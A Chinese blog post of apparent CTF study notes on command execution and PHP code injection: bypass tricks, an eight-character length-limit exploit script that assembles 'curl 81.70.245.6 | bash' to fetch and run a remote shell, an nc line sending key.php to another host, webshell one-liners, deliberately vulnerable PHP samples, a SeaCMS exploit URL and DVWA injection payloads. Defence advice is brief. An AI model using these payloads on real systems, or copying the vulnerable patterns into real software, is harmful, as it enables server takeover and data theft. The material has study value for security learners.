未分类

命令执行漏洞

RCE远程代码执⾏, 命令执⾏是常⻅漏洞之⼀.应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

命令执行漏洞利用条件:

  1. 应用调用执行系统命令的函数
  2. 将用户输入作为系统命令的参数拼接到了命令行中
  3. 没有对用户输入进行过滤或过滤不严

漏洞危害:

  1. 继承Web服务程序的权限去执行系统命令或读写文件
  2. 反弹shell(web端,webshell,shell)
  3. 控制整个网站甚至服务器
  4. 提权进一步内网渗透
  5. 等等

漏洞利用方法 常见绕过方式

空格绕过

$IFS
$IFS$数字
${IFS}
$IFS$数字
$IFS$9
<
<> ls<>-al 
{}包裹{ls,参数}
/**/
%09(tab)
%20(空格

命令分隔符

Linux分隔符: %0a, %0d, ;, &, &&, |, ||, <>
window分隔符: %0a, &, |, %1a (⼀个神奇的⻆⾊,作为.bat⽂件中的命令分隔符)

命令执⾏的别样用法

在linux bash中还可以使⽤ {OS_COMMAND,ARGUMENT} 来执⾏系统命令
例如:

{cat,flag} system() var_dump(``)

拼接绕过

$a=l
$b=s
$a$b //执⾏ls

关键字绕过

who\am\i 续⾏符 \ 转义符号 \$
who"am"i
cat fla[ghd]
ca''t flag
cat fla*
cat fla? 匹配单个字符

骚姿势绕过

tac //抓取后反向输出
ls -i //输出节点信息,通过inode 抓取
od //⼆进制读取
sort //查看
cat tac more less head tail

8字符命令执行

>cat
* flag
或者
如下:
cat /flag
curl 81.70.245.6 | bash
>bash
>\|\ \\
>45.6\\

>x 可以⽣成⼀个名为 x 的⽂件,命令分开执⾏,最后再通过 ls -t>y.sh 就可以将当前⽬录下所有⽂件名写⼊y.sh.
参考:

#encoding:utf-8
import requests
baseurl = "http://81.70.245.6:6612/?cmd="
s = requests.session()
# curl 101.32.213.202|bash
# curl 116.62.241.170 | bash
list=[
 ">bash",
 ">\|\\",
 ">5.6\\",
 ">24\\",
 ">70.\\",
 ">81.\\",
 ">\ \\",
 ">rl\\",
 ">cu\\"
]
for j in list:
 url = baseurl+str(j)
 print (url)
 s.get(url)
s.get(baseurl+"ls -t>y")
s.get(baseurl+"sh y")

倒着写命令,最后的排序有关系, ls -t 是按照时间顺序来排的 ls -t 按时间进⾏⽂件的排序 Time(时间), 这种
时候可以通过请求远程服务器的内容,然后通过 | 传递给bash 进⾏执⾏,达到反弹shell的⽬的

exec无回显绕过

<?php
$c = $_GET[c];
if(strlen($c) < 16){
 exec($c);
}else{
 echo "too long!";
}
highlight_file(__FILE__);
?>
<?php
echo "The web root directory will be emptied every two minutes.";?>
cat /flag > a
cat '<?php @eval($_GET[cmd]);?>' > shell.php
cat '<?ph' > s
echo 'p @e'
echo '@eval'
?>

读取⽂件时ctf常⻅的题⽬类型,主要是考察对执⾏命令和WAF拦截⽅式对熟悉程度,绕过需要了解过滤⽅式和⼀些
不常⻅函数.
查看⽂件命令:

除了常规的:
----------------------------------------------------------------------------------
cat:由第⼀⾏开始显示内容,并将所有内容输出
tac:从最后⼀⾏倒序显示内容,并将所有内容输出
more:根据窗⼝⼤⼩,⼀⻚⼀⻚的现实⽂件内容
less:和more类似,但其优点可以往前翻⻚,⽽且进⾏可以搜索字符
head:只显示头⼏⾏
tail:只显示最后⼏⾏
nl:类似于cat -n,显示时输出⾏号
tailf:类似于tail -f
-----------------------------------------------------------------------------------
Linux花式读取⽂件内容
ps:⽬标是获取flag.txt的内容
static-sh读取⽂件:
static-sh ./flag.txt
#输出结果:
./flag.txt: line 1: flag{this_is_a_test}: not found
-----------------------------------------------------------------------------------
paste读取⽂件:
paste ./flag.txt /etc/passwd
#输出结果:
flag{this_is_a_test} root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 bin:x:2:2:bin:/bin:/usr/sbin/nologin
 sys:x:3:3:sys:/dev:/usr/sbin/nologin
 sync:x:4:65534:sync:/bin:/bin/sync
----------------------------------------------------------------------------------
diff读取⽂件 :
diff ./flag.txt /etc/passwd
#输出结果:
1c1,45
< flag{this_is_a_test}
\ No newline at end of file
---
> root:x:0:0:root:/root:/bin/bash
> daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
> bin:x:2:2:bin:/bin:/usr/sbin/nologin
> sys:x:3:3:sys:/dev:/usr/sbin/nologin
> sync:x:4:65534:sync:/bin:/bin/sync
-----------------------------------------------------------------------------------
od读取⽂件
od -a ./flag.txt
#输出结果:
0000000 f l a g { t h i s _ i s _ a _ t
0000020 e s t }
0000024
-----------------------------------------------------------------------------------
bzmore读取⽂件:
bzmore ./flag.txt
#输出结果:
------> ./flag.txt <------
flag{this_is_a_test}
-----------------------------------------------------------------------------------
bzless读取⽂件:
bzless ./flag.txt
echo `bzless ./flag.txt`
#输出结果:
------> ./flag.txt <------ flag{this_is_a_test}
-----------------------------------------------------------------------------------
curl读取⽂件:
curl file:///home/coffee/flag
-----------------------------------------------------------------------------------
nc 传输⽂件
靶机:
nc 10.10.10.10 4444 < /var/www/html/key.php
接受机:
nc -l 4444 > key.txt
----------------------------------------------------------------------------------
wget
wget url -P path

管道符(命令拼接符)

&⽆论左边真假,右边都执⾏
&&左边为真时,右边执⾏
|通道符,⽆论左边真假,右边都执⾏
||左边为假时,右边执⾏
; 表示隔断,常⽤于单⾏语句区分代码块
%0a换⾏符,多⾏区分代码块
%0b同%0a

command1 && command2 先执⾏command1,成功后在执⾏command2,如果失败则不执⾏command2
command1 & command2 先执⾏command1,⽆论成功与否都执⾏command2
command1 | command2 管道,直接将command1的输出作为command2的标准输⼊,只打印command2的标准
输出
command1 || command2 或者,command1执⾏失败后执⾏command2,如果执⾏成功则不执⾏command2
command1 ; command2 前后之间没有关系,所有命令⽆论失败都会执⾏,从左往右依次执⾏

dvwa command in参考地址 https://www.cnblogs.com/yyxianren/p/11381782.html

https://blog.csdn.net/qq_41617034/article/details/90221943

空格过滤

${IFS}

$IFS$9

%09

<或者<>重定向

/**/

黑名单绕过

  1. 变量拼接
  2. 单引号,双引号绕过
  3. 编码绕过
  4. 反斜线
  5. $1,$2等

通配符绕过

?代表一个字符*代表一串字符

内敛执行绕过

`命令`和$(命令)都是执行命令的方式

绕过长度限制

使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建文件再存入

命令换行

换行执行命令

可以尝试写一个文件来执行命令

echo "ca\\">shell
echo "t\\">>shell
echo " fl\\">>shell
echo "ag">>shell
cat shell
ca\
t\
 fl\
ag
zxcv0221@kali:~/桌面$ sh shell

危险函数

php
eval()
assert()
preg_replace() # 正则表达式 /e
call_user_func()
call_user_func_array()
create_function
array_map()
系统命令
system($_GET[cmd]);
?cmd=ls
system()
passthru()
exec()
fcntl_exec()
shell_exec()
popen()
``
ob_start()

PHP代码执行漏洞

php 代码执⾏(注⼊)是指(web⽅⾯)应⽤程序过滤不严,⽤户可以通过请求将代码注⼊到应⽤中执⾏.代码执⾏类似
SQL注⼊漏洞,sqli是将sql语句注⼊到数据库中执⾏,⽽代码执⾏则是将代码注⼊到应⽤中最终由服务器运⾏它.这样
的漏洞如果没有特殊的过滤,相当于直接有⼀个web后⻔的存在.

  1. 程序中含有可执⾏php代码的函数或者语⾔结构.
  2. 传⼊第⼀点中的参数,客户端可控,直接修改或者影响.
    漏洞危害
    可以通过代码执⾏漏洞继承web⽤户权限,执⾏任意代码. 如果具有服务器没有正确配置,web⽤户权限⽐较⾼的话,可
    以读写⽬标服务器任意⽂件内容,甚⾄控制整个⽹站以及服务器.php中有很多函数和语句都会造成php代码执⾏漏
    洞.
  3. php代码 — 》 s

eval()

eval()会将字符串当做php代码执⾏

<?php
if(isset($_GET['code'])){
 $code=$_GET['code'];
 eval($code);
}else{
 echo "please submit code!<br />?code=phpinfo();";
}
?>
 
eval(" ");
 探针⽂件
 php.ini
 allow_url_open
 
// 提交变量 ?code=phpinfo();
// 或者?code=${phpinfo()};
// 或者?code=1;phpinfo();
注意⼀句话⽊⻢
<?php
$str="phpinfo();"; // echo md5(123456);
eval($str);
?>
REQUEST预定义超全局数组

assert()

assert()同样会作为php代码执⾏ assert⽀持动态嵌套

$a = "ass";
$b = "ert";
$c=$a.$b;
$c(phpinfo(););
php8
<?php
if(isset($_GET['code'])){
 $code=$_GET['code'];
 assert($code);
}else{
 echo "please submit code!<br />?code=phpinfo()";
}
?>
// 提交参数: ?code=phpinfo();

preg_replace()

perg_match('/java/e')
str_replace(' ','')

函数的作⽤是对字符串进⾏正则处理.
参数和返回值如下:


mixed preg_replace(mixed $pattern,mixed $replacement, mixed $subject [,int limit = -1
[,int &$count]])
// 这段代码:搜索$subject中匹配$pattern的部分,以replacement进⾏替换,⽽当$pattern处,即第⼀个参数存
在e修饰符时,$replacement的值会被当成php代码来执⾏.典型代码如下:
<?php
if(isset($_GET['code'])){
$code=$_GET['code'];
 preg_replace("/\((.*)\)/e", '\\1', $code); // \\1 标识第⼀次匹配的内容 [.*]
}else{
 echo "?code=[phpinfo()]";
}
?>
/(.*)/e
 (phpinfo();)
 (phpinfo();
 
 
 ?code=()
// 提交?code=(phpinfo();, phpinfo会被执⾏
 
 (phpinfo();)

call_user_func()

call_user_func()等函数都有调⽤其他函数的功能,其中的⼀个参数作为要调⽤的函数名,如果传⼊的函数名可控,那就
可以调⽤以外的函数来执⾏我们想要的代码,也就是存在任意代码执⾏漏洞.
该函数有两个参数,第⼀个参数作为回调函数,后⾯的参数作为回调函数的参数,测试代码如下

<?php
if(isset($_GET['fun'])){
 $fun=$_GET['fun'];
 $para=$_GET['para'];
 call_user_func($fun,$para); call_user_func(assert,phpinfo(););
}else{
 echo "?fun=assert&amp;para=phpinfo()";
}
?>
提交参数?fun=assert&para=phpinfo()

动态函数a(b)

由于php的特性原因,php的函数⽀持直接有拼接的⽅式调⽤,这直接导致了php在安全上的控制⼜加⼤了难度.不少知名程序中也⽤到了动态函数的写法,这种写法跟使⽤call_user_func()的初衷⼀样,⽤来⽅便地调⽤函数,但是⼀旦过滤不严格就会造成代码执⾏漏洞.测试代码如下:

<?php
if(isset($_GET['a'])){
 $a=$_GET['a'];
 $b=$_GET['b'];
 $a($b); // assert(phpinfo();)
}else{
 echo "
 ?a=assert&amp;b=phpinfo()
 ";
}
?>
提交参数: ?a=assert&b=phpinfo()

漏洞利用

直接获取shell
读写⽂件
为进⼀步的攻击提供起点
var_dump()输出相关变量的信息

<?php
include "flag.php" ;
$a = @$_REQUEST['hello'];
eval("var_dump($a);");
show_source(__FILE__);
?>

防御方法

  1. 尽量不要使⽤eval函数,php⼀种语⾔结构,不是函数
  2. 如果要使⽤的话⼀定要严格的过滤
  3. preg_replace放弃使⽤/e修饰符
  4. 修改php.ini禁⽤相关的函数
    disable_functions = assert, 禁⽤assert函数,重启服务器
    实战:Seacmsv6.26 命令执⾏ 6.53 6.54 6.55
 /search.php?searchtype=5&tid=&area=eval(phpinfo())
docker pull zksmile/vul:seacmsv6.26
ping -c 3 [2-254]....
过滤
disable_functions

系统命令注入

原理以及成因

程序员使⽤脚本语⾔(⽐如php)开发应⽤程序过程中,脚本语⾔开发⼗分快速,简洁,⽅便,但是同样伴随着⼀些问题.⽐
如语速慢或者⽆法接触系统底层,如果开发的应⽤,特别时⼀些企业级的⼀些应⽤需要去调⽤⼀些外部程序(系统命令
或者exe等可执⾏⽂件).当应⽤需要调⽤⼀些外部程序时就会⽤到⼀些系统命令的函数.
应⽤在调⽤这些函数执⾏系统命令的时候,如果将⽤户的输⼊作为系统命令的参数拼接到命令⾏中,在没有过滤⽤户
的输⼊情况下,就会造成命令执⾏漏洞.

  1. ⽤户输⼊作为拼接
  2. 没有⾜够的过滤

相关函数

system()

system()能够将字符串作为os命令执⾏,⾃带输出功能.测试代码如下

string system ( string \$command [, int&\$return_var ] )

与passthru的基本相同,但是system返回结果并且输出。(查看system和pssthru的返回值可以看出)

<meta charset='gb2312'>
<?php
if(isset($_GET['cmd'])){
 echo "<pre>";
 system($_GET['cmd']);
}else{
 echo "?cmd=ipconfig";
}
?>
 <?php system($_REQUEST[cmd])?>
 ?cmd=whoami 

exec

exec()函数能将字符串作为os命令执⾏,需要输出执⾏结果.测试代码如下: 返回的结果有限

<meta charset='gb2312'>
<?php
if(isset($_GET['cmd'])){
 echo "<pre>";
 print exec($_GET['cmd']); // 返回的结果有限
}else{
 echo "?cmd=whoami";
}
?>

exec执⾏command命令,但是不会输出全部结果,⽽是返回结果的最后⼀⾏,如果你想得到全部的结果,可以使⽤第⼆个参数,让其输出到⼀个数组,数组的每⼀个记录代表了输出的每⼀⾏,如果输出结果有10⾏,则数组就有10条记录。所以如果你需要反复输出调⽤不同系统外部命令的结果,你最好在输出每⼀条系统外部命令结果时清空这个数组,以防混乱。第三个参数⽤来取得命令执⾏的状态码,通常执⾏成功都是返回0。举例:

<?php
exec('ls /home/xyw/test');
?>

没有输出。

<?php
exec('ls /home/xyw/test',$arr);
print_r($arr);
?>

输出:

Array 
 ( 
 [0] => list.txt 
 [1] => list.txt.ln 
 [2] => tcpdump中⽂⼿册.doc 
 [3] => test1 
 [4] => 校徽.jpg 
 [5] => 浪潮之巅.pdf 
 )

shell_exec()

是反撇号 (`) 操作符的变体。执⾏命令没有返回结果

<?php
if(isset($_GET['cmd'])){
 print shell_exec($_GET['cmd']);
}else{
 echo "?cmd=whoami";
}
?>

passthru

也是⾃带输出,有相关的返回结果
原型:void passthru ( string $command [, int &$return_var ] )
与exec的区别:返回结果有限,passthru返回结果正常返回。

<?php
if(isset($_GET['cmd'])){
 passthru($_GET['cmd']);
}else{
 echo "?cmd=whoami";
}
?>

popen()

popen()也能够执⾏os命令,但是该函数并⾮时返回命令结果,⽽是返回⼀个⽂件指针.⽆论返回什么,我们关⼼的是命
令执⾏了.
测试代码如下:

<?php
if(isset($_GET['cmd'])){
 $cmd=$_GET['cmd'].">> 1.txt";
 popen($cmd, 'r');
}else{
 echo "?cmd=whoami";
}
?>
// 查看1.txt⽂件

反引号`

反引号内的字符串,也会被解析成os命令.测试代码如下; 语⾔结构

<?php
if(isset($_GET['cmd'])){
 $cmd=$_GET['cmd'];
 print `$cmd`;
}else{
 echo "?cmd=whoami";
}
?>

漏洞利用

os命令注⼊漏洞,攻击者直接继承web⽤户权限,在服务器上执⾏任意命令,危害特别⼤.以下命令均在windows系统下 测试成功.
1.查看系统⽂件
提交参数 ?cmd=type c:\windwos\system32\drivers\etc\hosts 查看系统hosts⽂件
2.显示当前路径
提交参数: ?cmd=cd
3.写⽂件
提交参数: ?cmd=echo ” > D:\xampp\htdocs\Commandi\shell.php”
⻚⾯没有报错,说明⽂件写⼊成功,访问shell.php⽂件.

防御⽅法:
1. 尽量减少命令执⾏函数的使⽤,并在disable_functions中禁⽤
2. 在进⼊命令执⾏的函数或⽅法之前,对参数进⾏过滤
3. 参数的值尽量使⽤引号包裹,并在拼接前调⽤addslashes进⾏转义

dvwa命令注入

发现乱码,

乱码解决方法:

解决此问题的方法:在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改”charset=gb2312”,即可

low:

127.0.0.1| whoami
127.0.0.1|whoami
127.0.0.1&&whoami
127.0.0.1;whoami
127.0.0.0.1||whoami

medium

127.0.0.1| whoami
127.0.0.1|whoami
127.0.0.0.1||whoami
127.0.0.1&&&&whoami

high

127.0.0.1|whoami

impossible

Impossible 难度使用了白名单,要求输入为xxx.xxx.xxx.xxx的格式,xxx还要求是数字,基本上就没有什么安全漏洞了。

cat filename
tac filename
more filename
less filename
head filename
tail filename

留言

您的邮箱地址不会被公开。 必填项已用 * 标注